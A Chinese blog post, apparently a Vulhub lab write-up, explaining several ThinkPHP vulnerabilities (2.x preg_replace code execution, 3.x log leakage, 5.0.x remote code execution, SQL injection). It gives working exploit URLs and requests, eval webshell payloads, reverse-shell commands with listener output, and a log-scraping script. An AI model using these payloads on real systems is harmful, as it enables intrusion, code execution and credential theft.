Vulhub 漏洞学习之:ThinkPHP

发布时间 2023-04-22 19:37:09作者: f_carey

Vulhub 漏洞学习之:ThinkPHP

0 利用工具

1 ThinkPHP 2.x 任意代码执行漏洞

ThinkPHP 2.x版本中,使用preg_replace/e模式匹配路由,导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

  • 存在漏洞的文件:/ThinkPHP/Lib/Think/Util/Dispatcher.class.php

  • 漏洞代码位置

// Dispatcher.class.php中static public function dispatch()  第102行

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
  • 漏洞代码块
        if(!self::routerCheck()){   // 检测路由规则 如果没有则按默认规则调度URL
            $paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
            $var  =  array();
            if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){
                $var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';
                if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {
                    // 禁止直接访问分组
                    exit;
                }
            }
            if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
                $var[C('VAR_MODULE')]  =   array_shift($paths);
            }
            $var[C('VAR_ACTION')]  =   array_shift($paths);
            // 解析剩余的URL参数
            $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
            $_GET   =  array_merge($var,$_GET);
        }
  • 漏洞解析:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

# preg_replace()函数执行一个正则表达式的搜索和替换。
<?php
$aaa = @preg_replace('/a/i','print("hello world!");','abc');
echo $aaa;
echo "\n";
$bbb = @preg_replace('/a/e','print("hello world!");','abc');
echo $bbb;

# 输出:
print("hello world!");bc
hello world!1bc

# /(\w+)\/([^\/])/ies 表示是取每两个参数,[^\/]表示查找除中括号内("\/")外的任何字符
<?php
$var = array();
$s = 'a/b/c/d/e/f/g';
preg_replace("/(\w+)\/([^\/])/ies", '$var[\'\\1\']="\\2";', $s);
print_r($var);

?>
# 输出
Array
(
    [a] => b
    [c] => d
    [e] => f
)
  • 修饰符可以改变搜索的执行方式。

    修饰符 描述
    i 执行不区分大小写的搜索
    m 执行多行搜索(搜索字符串开头或结尾的模式将匹配每行的开头或结尾)
    u 启用 UTF-8 编码模式的正确匹配
    e 为PHP专有参数,表示可执行模式
  • PHP语法:在PHP中${}里面可以执行函数

  • ThinkPHP的url规则:

    • thinkphp 所有的主入口文件默认访问index控制器(模块)

    • thinkphp 所有的控制器默认执行index动作(方法)

    • 存在漏洞的static public function dispatch(),叫URL映射控制器,也就是URL访问的路径是映射到哪个控制器下。

    • ThinkPHP5.1在没有定义路由的情况下典型的URL访问规则是:

      http://server-ip/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值...]
      
      # 如果不支持PATHINFO的服务器可以使用兼容模式访问如下:
      http://server-ip/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]
      
  • ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。

1.1 环境安装

docker-compose up -d
  • 环境启动后,访问http://your-ip:8080即可查看到默认页面。

1.2 漏洞利用过程

  1. 验证是否存在漏洞

    http://192.168.50.4:8080/?s=/Index/index/name/${@phpinfo()}

1.3 GetShell

  1. GetWEBShell

    # 使用蚁剑输入以下url连接目标主机
    http://192.168.50.4:8080/?s=/Index/index/name/${@print(eval($_POST[acmd]))}
    
  2. 反弹shell

    # bp中将GET请求转换为POST
    POST /?s=a/b/c/${@print(eval($_POST[1]))} HTTP/1.1
    
    # 再添加请求主体反弹shell
    1=system("curl 192.168.50.2:8080/sh.sh | bash");
    
    # http://192.168.50.2:8080/sh.sh 内容
    bash -i >& /dev/tcp/192.168.50.2/2333 0>&1
    
    
    ┌──(root㉿kali)-[~]
    └─# nc -nvlp 2333
    listening on [any] 2333 ...
    connect to [192.168.50.2] from (UNKNOWN) [192.168.50.4] 57928
    bash: cannot set terminal process group (1): Inappropriate ioctl for device
    bash: no job control in this shell
    www-data@54abd56c2a0b:/var/www/html$ id
    id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    www-data@54abd56c2a0b:/var/www/html$ 
    

2 ThinkPHP 3.x

2.1 ThinkPHP 3.x 日志泄露漏洞

2.1.1 漏洞原理

  • ThinkPHP在开启DEBUG的情况下会在Runtime目录下生成日志,而且debug很多网站都没有关
  • ThinkPHP默认安装后,也会在Runtime目录下生成日志
  • 日志很容易被猜解到,而且日志里面有执行SQL语句的记录

2.1.2 漏洞利用过程

  1. 日志存储结构:

    #  :项目名\Runtime\Logs\Home\年份_月份_日期.log
    THINKPHP3.2 日志结构:Application\Runtime\Logs\Home\16_09_09.log
    THINKPHP3.1 日志结构:Runtime\Logs\Home\16_09_09.log
    
  2. 尝试构造访问当天的thinkphp日志:确认存在日志泄露漏洞

    image-20221024123929941

  3. Python 遍历所有日志:

    import requests
    import sys
    
    
    def logfile(year):
        """
        python输出00,01,02或001,002,003等格式字符串
        rjust() 方法会返回一个原字符串右对齐,并使用空格填充至长度 width 的新字符串。
        如果指定的长度小于字符串的长度则返回原字符串
        注意:int格式的不支持使用rjust方法,可以先用str函数转化为string字符串
        :param year:
        :return:
        """
        logfilename = []
        for m in range(1, 13):
            for d in range(1, 32):
                m = str(m).rjust(2, '0')
                d = str(d).rjust(2, '0')
                logfilename.append("%s_%s_%s.log" % (year, m, d))
        return logfilename
    
    
    def main():
        year = sys.argv[1]
        print(year)
        logfilename = logfile(year)
        for logname in logfilename:
            url = "http://www.webhack123.com/App/Runtime/Logs/" + logname
            r = requests.get(url)
            if r.status_code == 200:
                print(url)
                with open(logname, "w", encoding="utf-8") as f:
                    f.write(r.text)
    
    
    if __name__ == '__main__':
        main()
    
    
    • 在日志中发现了用户历史登录日志:

      image-20221025100243232

  4. 解密MD5:74c774ef39b5b977c1fd59dbfc73c3e380a65aa3的明文密码是:web123

  5. 成功进入后台:

    image-20221025100441253

  6. 在后台修改允许上传文件类型后,上传一句话木马,成功连接WebShell

    image-20221025102049121

    image-20221025102331350

  7. 上传CS反弹Payload,并执行,成功上线CS

    image-20221025105308391

3 ThinkPHP5 5.0.20远程代码执行漏洞

版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。

参考链接:

3.1 环境安装

运行ThinkPHP 5.0.20版本:

docker-compose up -d
  • 环境启动后,访问http://your-ip:8080即可看到ThinkPHP默认启动页面。

3.2 漏洞利用过程

  1. 执行phpinfo:http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
  2. 执行系统命令:http://192.168.50.4:8080/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
  3. 查看数据库用户:http://192.168.50.4:8080/?s=.|think\config/get&name=database.username
  4. 查看数据库密码:http://192.168.50.4:8080/?s=.|think\config/get&name=database.password

3.3 GetShell

  1. 执行命令:

    http://192.168.50.4:8080/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=curl%20192.168.50.2:8080/sh.sh%20|%20bash
    
    # http://192.168.50.2:8080/sh.sh 内容
    bash -i >& /dev/tcp/192.168.50.2/2333 0>&1
    
    ┌──(root㉿kali)-[~]
    └─# nc -nvlp 2333
    listening on [any] 2333 ...
    connect to [192.168.50.2] from (UNKNOWN) [192.168.50.4] 39812
    bash: cannot set terminal process group (1): Inappropriate ioctl for device
    bash: no job control in this shell
    www-data@dc116179634e:/var/www/public$ id
    id
    uid=33(www-data) gid=33(www-data) groups=33
    

4 ThinkPHP5 5.0.23 远程代码执行漏洞

其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

4.1 环境安装

执行如下命令启动一个默认的thinkphp 5.0.23环境:

docker-compose up -d

环境启动后,访问http://your-ip:8080即可看到默认的ThinkPHP启动页面。

4.2 漏洞利用过程

  1. 使用BP发送如下请求执行命令

    POST /index.php?s=captcha HTTP/1.1
    Host: Your-IP
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    DNT: 1
    Sec-GPC: 1
    Pragma: no-cache
    Cache-Control: no-cache
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 72
    
    _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
    

    image-20230419224457244

4.3 GetShell

  1. 使用如下命令反弹shell

    POST /index.php?s=captcha HTTP/1.1
    Host: 192.168.50.4:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    DNT: 1
    Sec-GPC: 1
    Pragma: no-cache
    Cache-Control: no-cache
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 105
    
    _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=curl 192.168.50.2:8080/sh.sh | bash
    
    # http://192.168.50.2:8080/sh.sh 内容
    bash -i >& /dev/tcp/192.168.50.2/2333 0>&1
    
    ┌──(root㉿kali)-[~]
    └─# nc -nvlp 2333
    listening on [any] 2333 ...
    connect to [192.168.50.2] from (UNKNOWN) [192.168.50.4] 58484
    bash: cannot set terminal process group (1): Inappropriate ioctl for device
    bash: no job control in this shell
    www-data@635148ae2996:/var/www/public$ id
    id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    

5 ThinkPHP5 SQL注入漏洞 && 敏感信息泄露

漏洞原理说明:

5.1 环境安装

运行环境:

docker-compose up -d

启动后,访问http://your-ip/index.php?ids[]=1&ids[]=2,即可看到用户名被显示了出来,说明环境运行成功。

5.2 漏洞利用过程

  1. 访问http://your-ip/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1,信息成功被爆出:

    当然,这是一个比较鸡肋的SQL注入漏洞。但通过DEBUG页面,我们找到了数据库的账号、密码:

    这又属于一个敏感信息泄露漏洞。

    image-20230421155644158

    image-20230421155753982